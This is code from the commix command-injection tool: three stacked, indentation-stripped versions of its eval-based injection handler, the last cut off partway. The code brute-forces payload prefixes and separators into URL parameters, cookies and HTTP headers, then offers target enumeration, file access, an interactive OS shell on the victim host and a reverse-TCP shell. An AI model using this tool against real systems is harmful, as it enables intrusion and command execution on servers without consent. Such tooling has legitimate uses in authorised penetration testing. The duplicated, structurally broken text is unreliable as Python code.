def eb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "Results-based Command Injection"
technique = "eval-based code injection technique"
for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS
url = eb_injector.warning_detection(url, http_request_method)
if not settings.LOAD_SESSION:
info_msg = "Testing the " + technique + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(url, technique):
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, delay, filename, http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = eb_payloads.decision(separator, TAG, randv1, randv2)
suffix = urllib.quote(suffix)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Fixation for specific payload.
if ")%3B" + urllib.quote(")}") in payload:
payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}"))
payload = payload + TAG + ""
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
if settings.TAMPER_SCRIPTS['base64encode']:
from src.core.tamper import base64encode
payload = base64encode.encode(payload)
else:
payload = re.sub(" ", "%20", payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
sys.stdout.write("\n" + settings.print_payload(payload))
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = eb_injector.referer_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Evaluate test results.
shell = eb_injector.injection_test_results(response, TAG, randvcalc)
if not settings.VERBOSITY_LEVEL >= 1:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))
if shell == False:
info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The (" + http_request_method + ")"
success_msg += found_vuln_parameter + header_name
success_msg += the_type + " is vulnerable to " + injection_type + "."
print settings.print_success_msg(success_msg)
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable="True")
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
question_msg = "Do you want to enumerate again? [Y/n/q] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
if enumerate_again in settings.CHOICE_YES:
eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
break
elif enumerate_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg) + "\n"
pass
else:
if menu.enumeration_options():
eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
if not menu.file_access_options() and not menu.options.os_cmd:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
if settings.ENUMERATION_DONE != True:
print ""
while True:
question_msg = "Do you want to access files again? [Y/n/q] > "
file_access_again = raw_input(settings.print_question_msg(question_msg)).lower()
if file_access_again in settings.CHOICE_YES:
eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg) + "\n"
pass
else:
if menu.file_access_options():
if not menu.enumeration_options():
print ""
eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
print ""
# Check if defined single cmd.
if menu.options.os_cmd:
if not menu.file_access_options():
print ""
eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
gotshell = raw_input(settings.print_question_msg(question_msg)).lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
warn_msg = "You are already into an 'os_shell' mode."
print settings.print_warning_msg(warn_msg)+ "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp()
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options()
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The reverse TCP connection has been failed!"
print settings.print_critical_msg(err_msg)
else:
pass
else:
# The main command injection exploitation.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
if menu.options.ignore_session or\
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell).replace(" ", "", 1)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
#if shell:
if shell != "":
shell = "".join(str(p) for p in shell)
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
err_msg = "The '" + cmd + "' command, does not return any output."
print "\n" + settings.print_error_msg(err_msg) + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg) + "\n"
pass
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def eb_injection_handler(url, timesec, filename, http_request_method):
shell = False
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "results-based dynamic code evaluation"
technique = "dynamic code evaluation technique"
for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS
if not settings.LOAD_SESSION:
url = eb_injector.warning_detection(url, http_request_method)
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL >= 1:
print("")
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
if whitespace == " ":
whitespace = _urllib.parse.quote(whitespace)
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
try:
settings.EVAL_BASED_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename, http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = eb_payloads.decision(separator, TAG, randv1, randv2)
suffix = _urllib.parse.quote(suffix)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Fixation for specific payload.
if ")%3B" + _urllib.parse.quote(")}") in payload:
payload = payload.replace(")%3B" + _urllib.parse.quote(")}"), ")" + _urllib.parse.quote(")}"))
#payload = payload + TAG + ""
# Whitespace fixation
payload = payload.replace(" ", whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
if not settings.TAMPER_SCRIPTS['base64encode'] and \
not settings.TAMPER_SCRIPTS['hexencode']:
payload = payload.replace(" ", "%20")
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
print(settings.print_payload(payload))
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating payload for the injection..."
print(settings.print_info_msg(info_msg))
print(settings.print_payload(payload))
# Cookie header injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP header injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP header injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = eb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP header injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
response = eb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom HTTP header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate test results.
shell = eb_injector.injection_test_results(response, TAG, randvcalc)
time.sleep(timesec)
if not settings.VERBOSITY_LEVEL >= 1:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))
if shell == False:
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = " Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if not settings.VERBOSITY_LEVEL >= 1:
print("")
else:
checks.total_of_requests()
# Print the findings to terminal.
success_msg = "The"
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
success_msg += " " + http_request_method
success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print(settings.print_success_msg(success_msg))
print(settings.SUB_CONTENT_SIGN + str(checks.url_decode(payload)) + Style.RESET_ALL)
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
# print("")
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.enumeration_options():
eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
if not menu.file_access_options() and not menu.options.os_cmd and new_line:
print("")
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
if settings.ENUMERATION_DONE != True:
print("")
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
file_access_again = _input(settings.print_question_msg(question_msg))
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "y"
if file_access_again in settings.CHOICE_YES:
eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
print("")
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.file_access_options():
# if not menu.enumeration_options():
# print("")
eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
print("")
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print("")
eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
gotshell = _input(settings.print_question_msg(question_msg))
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print("")
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
# The main command injection exploitation.
time.sleep(timesec)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
if menu.options.ignore_session or\
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell).replace(" ", "", 1)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell != "":
shell = "".join(str(p) for p in shell)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
else:
if settings.VERBOSITY_LEVEL >= 1:
print("")
err_msg = "The '" + cmd + "' command, does not return any output."
print(settings.print_critical_msg(err_msg) + "\n")
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print("")
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def eb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "results-based command injection"
technique = "eval-based code injection technique"
for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
settings.EXECUTION_FUNCTIONS[
item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS
url = eb_injector.warning_detection(url, http_request_method)
if not settings.LOAD_SESSION:
info_msg = "Testing the " + technique + "... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(
settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
for whitespace in settings.WHITESPACE:
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(
url, technique):
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
checks.check_for_stored_tamper(payload)
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, delay, filename,
http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = eb_payloads.decision_alter_shell(
separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = eb_payloads.decision(
separator, TAG, randv1, randv2)
suffix = urllib.quote(suffix)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Fixation for specific payload.
if ")%3B" + urllib.quote(")}") in payload:
payload = payload.replace(
")%3B" + urllib.quote(")}"),
")" + urllib.quote(")}"))
#payload = payload + TAG + ""
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
if settings.TAMPER_SCRIPTS['base64encode']:
from src.core.tamper import base64encode
payload = base64encode.encode(payload)
else:
payload = re.sub(" ", "%20", payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
sys.stdout.write(
"\n" + settings.print_payload(payload))
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = eb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = eb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = eb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
response = eb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(
payload, http_request_method, url)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, delay)
# Evaluate test results.
shell = eb_injector.injection_test_results(
response, TAG, randvcalc)
if not settings.VERBOSITY_LEVEL >= 1:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if shell == False:
info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]"
sys.stdout.write(
"\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent) + "%"
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write(
"\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
continue
